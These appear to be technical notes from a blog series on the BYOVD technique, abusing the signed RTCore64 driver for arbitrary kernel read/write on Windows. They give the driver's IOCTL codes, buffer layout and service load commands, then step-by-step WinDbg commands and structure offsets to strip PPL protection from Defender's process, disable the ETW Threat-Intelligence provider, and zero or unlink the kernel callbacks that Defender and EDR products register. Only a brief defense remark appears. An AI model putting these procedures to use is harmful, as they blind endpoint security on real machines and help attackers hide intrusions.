Windows loads only signed kernel drivers. BYOVD loads a signed driver that already has a bug, then talks to it from usermode.

RTCore64 (MSI Afterburner): device \\.\RTCore64. No check on caller, address, or size.

Same job as WinDbg dd/dq/ed/eb/eq, without a debugger.

callbacks.c / etwti.c / ppl.c share this block. Details of callbacks, ETW-TI, PPL are in those posts — this one is the primitive.

Admin is needed to load the driver (SeLoadDriverPrivilege). The IOCTLs are what usermode APIs cannot do.

Device + buffer

CreateFileA("\\\\.\\RTCore64", …)
DeviceIoControl(READ  0x80002048)
DeviceIoControl(WRITE 0x8000204C)

#pragma pack(push, 1) — driver uses byte offsets, not C alignment.

RTCORE_MEM  (48 bytes)
+0x00  pad0[8]
+0x08  Address     kernel VA
+0x10  pad1[8]
+0x18  Size        1, 2, or 4
+0x1C  Value       write in / read out
+0x20  pad2[16]

Pass &m as input and output. Read fills Value.

Helpers = WinDbg

Max access is 4 bytes. Pointers = two calls.

Unaligned byte (PPL Protection):

aligned = addr & ~3
shift   = (addr & 3) * 8
dword   = kread32(aligned)
patch one byte, kwrite32(aligned, dword)

Do not ed the unaligned address — adjacent fields share the DWORD.

IS_KERN_VA = >= 0xFFFF800000000000.

Kernel base

Live VA = kbase + RVA. RVA = WinDbg ? nt!Symbol - nt.

Tools use EnumDeviceDrivers — drivers[0] is ntoskrnl.exe:

kbase = EnumDeviceDrivers[0]

Sanity (same as db kbase L2):

(kread32(kbase) & 0xFFFF) == 0x5A4D     // MZ

Fail = IOCTL did not read kernel (driver not loaded, HVCI, filter).

RVAs change every build. Recompute on the target.

Load / unload

sc.exe create RTCore64 type= kernel start= demand binPath= "C:\path\RTCore64.sys"
sc.exe start  RTCore64
sc.exe stop   RTCore64
sc.exe delete RTCore64

What the three tools do with this

Do not copy those walks here.

Defense (short)

HVCI is the one that actually stops the IOCTL path.

OpenProcess on Defender / lsass / csrss hits a second gate in NtOpenProcess (PsGrantedAccess): compare caller vs target _EPROCESS.Protection. Too low → ACCESS_DENIED. One byte.

.reload /f if names do not resolve. LiveKD is read-only — eb needs a writable kernel debug session.

Offsets (Protection, ActiveProcessLinks, ImageFileName) are build-specific. Always dt nt!_EPROCESS on the target. ppl.c stores them as EPROC_*_OFF.

_PS_PROTECTION (1 byte)

dt nt!_PS_PROTECTION

+0x000  Type    bits 0–2   0=None  1=PPL  2=PP
+0x000  Audit   bit 3      usually 0
+0x000  Signer  bits 4–7   trust rank

Byte = (Signer << 4) | Type. Type 0 → not protected (signer ignored).

1. Protection offset

dt nt!_EPROCESS 0 Protection

Type-only (0 = no memory read). Example: +0x5FA or +0x6FA — yours may differ.

Also note:

dt nt!_EPROCESS 0 ActiveProcessLinks
dt nt!_EPROCESS 0 ImageFileName

ImageFileName is 15 chars (MpDefenderCoreService.exe → MpDefenderCore).

2. Find _EPROCESS

WinDbg shortcut

!process 0 0 MsMpEng.exe

Address after PROCESS is the _EPROCESS.

Walk (what ppl.c does)

dq nt!PsInitialSystemProcess L1

That pointer = System _EPROCESS (list head).

? nt!PsInitialSystemProcess - nt

Then:

dt nt!_EPROCESS <ep> ImageFileName
dt nt!_PS_PROTECTION <ep>+<Protection>
dq <ep>+<ActiveProcessLinks> L1

Right-hand Flink points into the next LIST_ENTRY, not the next _EPROCESS:

next_ep = Flink - ActiveProcessLinks

Stop when next_ep equals System. Empty / bad Flink → break.

3. Read the byte

dt nt!_PS_PROTECTION <ep>+<Protection>
db <ep>+<Protection> L1

Example 0x31: Type=1 (PPL), Signer=3 (Antimalware). 0x00 = already unprotected.

Protection is often not 4-byte aligned (e.g. …FA). dd a DWORD and shift, or db one byte.

4. Zero it

eb <ep>+<Protection> 0

Type/Audit/Signer all 0. Process still runs — only the open-gate is gone.

Verify:

db <ep>+<Protection> L1

Do not ed a DWORD at an unaligned address — neighbouring _EPROCESS fields share that dword. ppl.c uses read-modify-write (kwrite8).

Commands

How ppl.c maps to these notes

WinDbg uses symbols. The C tool uses kernel base + RVA.

list = walk, print if byte ≠ 0. delete <name> = walk, kwrite8 0 on match.

Session name / !process are WinDbg-only. ppl.c always walks from System.

Microsoft-Windows-Threat-Intelligence is a kernel ETW provider. Defender (DefenderApiLogger) and EDRs subscribe. Ordinary processes cannot — consumers are PPL-Antimalware.

GUID {F4E1897C-BB5D-5668-F1D8-040F4D8DD344}. Always hashes to bucket 29.

ETW roles: provider fires → session buffers → consumer reads. If no session, IsEnabled=0 and the kernel skips the event (no cost).

.reload /f first if names do not resolve. LiveKD is read-only — eb needs a writable kernel debug session.

Find _ETW_GUID_ENTRY

nt!EtwpDebuggerData[3] → silo → GuidHashTable[29] → walk Flink until GUID

_ETW_GUID_ENTRY
+0x000  GuidList          LIST_ENTRY (bucket chain)
+0x028  Guid              16 bytes  ← first DWORD Data1 = 0xF4E1897C
+0x060  ProviderEnableInfo  _TRACE_ENABLE_INFO  (OR of all slots)
+0x080  EnableInfo[8]     one slot per session, each 0x20
+0x188  SiloState         back-pointer to silo

_TRACE_ENABLE_INFO
+0x000  IsEnabled         1=on, 0=off  ← eb this
+0x004  Level
+0x006  LoggerId          USHORT, index into EtwpLoggerContext
+0x008  EnableProperty
+0x010  MatchAnyKeyword
+0x018  MatchAllKeyword

+0x028 / +0x060 / +0x080 are hex. Slot s = entry + 0x80 + s*0x20.

Hash table

Silo root

dp nt!EtwpDebuggerData L4

4th pointer (+0x18, index 3) = _ETW_SILODRIVERSTATE. Save it.

? nt!EtwpDebuggerData - nt

Dump silo

dt nt!_ETW_SILODRIVERSTATE <silo>

Bucket size

?? sizeof(nt!_ETW_HASH_BUCKET)

Expect 0x38 (56). Bucket 29 offset = 29 * 0x38 = 0x658.

TI GUID hash (fixed):

(Data1 ^ Data2Data3 ^ Data4[0] ^ Data4[4]) & 0x3F
= (0xF4E1897C ^ 0xBB5D5668 ^ 0xF1 ^ 0x04) & 0x3F
= 0x1D = 29

Bucket 29

dt nt!_ETW_HASH_BUCKET <silo>+0x1D0+0x658

On current builds ListHead is [3]. TI is a trace GUID → use ListHead[0].Flink.

dt nt!_ETW_GUID_ENTRY <ListHead[0].Flink>

If Guid is not TI, dq that Flink and dt the next node. Stop when Flink equals the bucket address (silo+0x1D0+0x658). Empty list: ListHead[0].Flink == bucket address.

(etwti.c reads kread64(bucketHead) = this same Flink, then walks until Data1 == 0xF4E1897C.)

Confirm GUID (optional search)

Prefer the Flink walk. Search only if the list is messy:

s -b <silo>+0x1D0 L?0x2000000 7c 89 e1 f4 5d bb 68 56 f1 d8 04 0f 4d 8d d3 44

The hit is the Guid field, not the struct. Subtract 0x28:

dt nt!_ETW_GUID_ENTRY <hit>-0x28

Do not dt the hit address itself — GuidList will look like the GUID bytes. Multiple hits = extra silos; keep the one whose SiloState (+0x188) matches <silo>.

dt nt!_ETW_GUID_ENTRY <entry>

List: is anyone listening?

Aggregate (fast path):

dt nt!_TRACE_ENABLE_INFO <entry>+0x60

IsEnabled=1 → at least one session. Defender often has MatchAnyKeyword = 0xFFFFFFFFFFFFFFFF.

Eight slots (+0x80, step +0x20):

dt nt!_TRACE_ENABLE_INFO <entry>+0x80
dt nt!_TRACE_ENABLE_INFO <entry>+0xa0
… eight times

Note LoggerId where IsEnabled=1. Typical: 2–3 slots.

Session name

EtwpLoggerContext is on the silo (+0x1C8). Also the third QWORD of dp nt!EtwpDebuggerData L4.

dt nt!_ETW_SILODRIVERSTATE <silo> EtwpLoggerContext

LoggerId comes from an enabled slot (IsEnabled=1):

dt nt!_TRACE_ENABLE_INFO <entry>+0x80

Each array slot is 8 bytes. Example: LoggerId 6 → 6*8 = 0x30.

dq <EtwpLoggerContext>+30 L1

Left column = address of slot [6]. Right column = _WMI_LOGGER_CONTEXT *. dt the right value:

dt nt!_WMI_LOGGER_CONTEXT <result>

LoggerName is the consumer (session), e.g. DefenderApiLogger. Confirm field offsets with dt on the target.

Do not dt EtwpLoggerContext itself. Slot [0] is often 1 (sentinel) — skip it. Only follow array + LoggerId*8 when IsEnabled=1.

Disable

Zero aggregate:

eb <entry>+0x60 0

Zero one consumer (slot 0 = +0x80):

eb <entry>+0x80 0

etwti.c disable zeros aggregate and all 8 slots.

Kernel then skips TI events. LiveKD cannot write.

Commands

Offsets (+0x1D0, +0x60, +0x80, …) are build-specific — confirm with dt on the target. Bucket 29 is GUID-fixed.

Drivers register for system events. Defender (WdFilter.sys) typically uses all five.

.reload /f first if names do not resolve. LiveKD is read-only — ep / eb / eq need a writable kernel debug session.

EX_FAST_REF (notify arrays only): slot is pointer + refcount in the low 4 bits.

block    = slot & 0xFFFFFFFFFFFFFFF0
function = *(block + 0x08)

Same block for process, thread, and image notify:

_EX_CALLBACK_ROUTINE_BLOCK
+0x000  RundownProtect    sync (0x20 = active)
+0x008  Function          callback pointer  ← lm a this
+0x010  Context           value from registration

1. Process / thread / image notify

64-slot arrays. Same steps; only the symbol changes.

Dump

dp nt!PspCreateProcessNotifyRoutine
dp nt!PspCreateThreadNotifyRoutine
dp nt!PspLoadImageNotifyRoutine

dp = dump pointers. Non-zero = used slot. Zeros = empty. Save array base (left column of the first line). Slot i is at base + i*8.

Decode one slot

dq (<raw_slot> & 0xfffffffffffffff0)

Mask low nibble → _EX_CALLBACK_ROUTINE_BLOCK. +0x08 = function.

Owner

lm a <function>

Which driver contains that address.

RVA (for tools)

? nt!PspCreateProcessNotifyRoutine - nt
? nt!PspCreateThreadNotifyRoutine  - nt
? nt!PspLoadImageNotifyRoutine     - nt

KASLR moves the base; RVA stays for that build.

Zero a slot

ep <array_base + index*8> 0

Kernel skips NULL slots.

All used slots (first 14)

.for (r $t0 = 0; @$t0 < 14; r $t0 = @$t0 + 1) { r $t1 = poi(nt!PspCreateProcessNotifyRoutine + (@$t0 * 8)); .if (@$t1 != 0) { r $t2 = poi((@$t1 & 0xfffffffffffffff0) + 8); .printf "Slot %d: fn=%p\n", @$t0, @$t2; lm a @$t2 } }

Swap the symbol for thread/image.

2. ObRegisterCallbacks (handles)

Linked list on Process (index 7) and Thread (index 8). Disable via Active, do not unlink.

_OBJECT_TYPE
+0x0C8  CallbackList      LIST_ENTRY head

CALLBACK_ENTRY_ITEM
+0x000  Flink / Blink
+0x010  Operations        1=create, 2=dup, 3=both
+0x014  Active            1=on, 0=off  ← eb this
+0x028  PreOperation      callback  ← lm a this
+0x030  PostOperation     or NULL

Empty list: Flink == type_addr + 0xC8.

Type objects

dp nt!ObTypeIndexTable

[7] Process, [8] Thread.

List empty?

dt nt!_OBJECT_TYPE <type_addr>

Look at +0xC8 CallbackList. Flink ≠ head → first node is that Flink.

Dump node

dq <node> L7
lm a <PreOperation>

Disable

eb (<node> + 0x14) 0

Kernel checks Active before PreOperation. Walk Flink until it equals type_addr + 0xC8.

3. Registry (CmRegisterCallbackEx)

List at CallbackListHead. No Active field — unlink the node.

_CMREG_CALLBACK
+0x000  Flink
+0x008  Blink
+0x028  Function          callback  ← lm a this

+0x028 is hex = 40 decimal. Each pointer is 8 bytes, so QWORD index = 40 / 8 = 5 (0-based; the 6th QWORD, bytes 40–47). Not decimal 28.

Empty: Flink == CallbackListHead.

Head

dq nt!CallbackListHead

Node + owner

dq <node>
lm a <function>

Unlink

eq <PREV>            <NEXT>
eq (<NEXT> + 0x08)   <PREV>

Walk Flink until it equals the head.

Commands

Offsets (+0xC8, +0x28, …) are build-specific — confirm with dt on the target.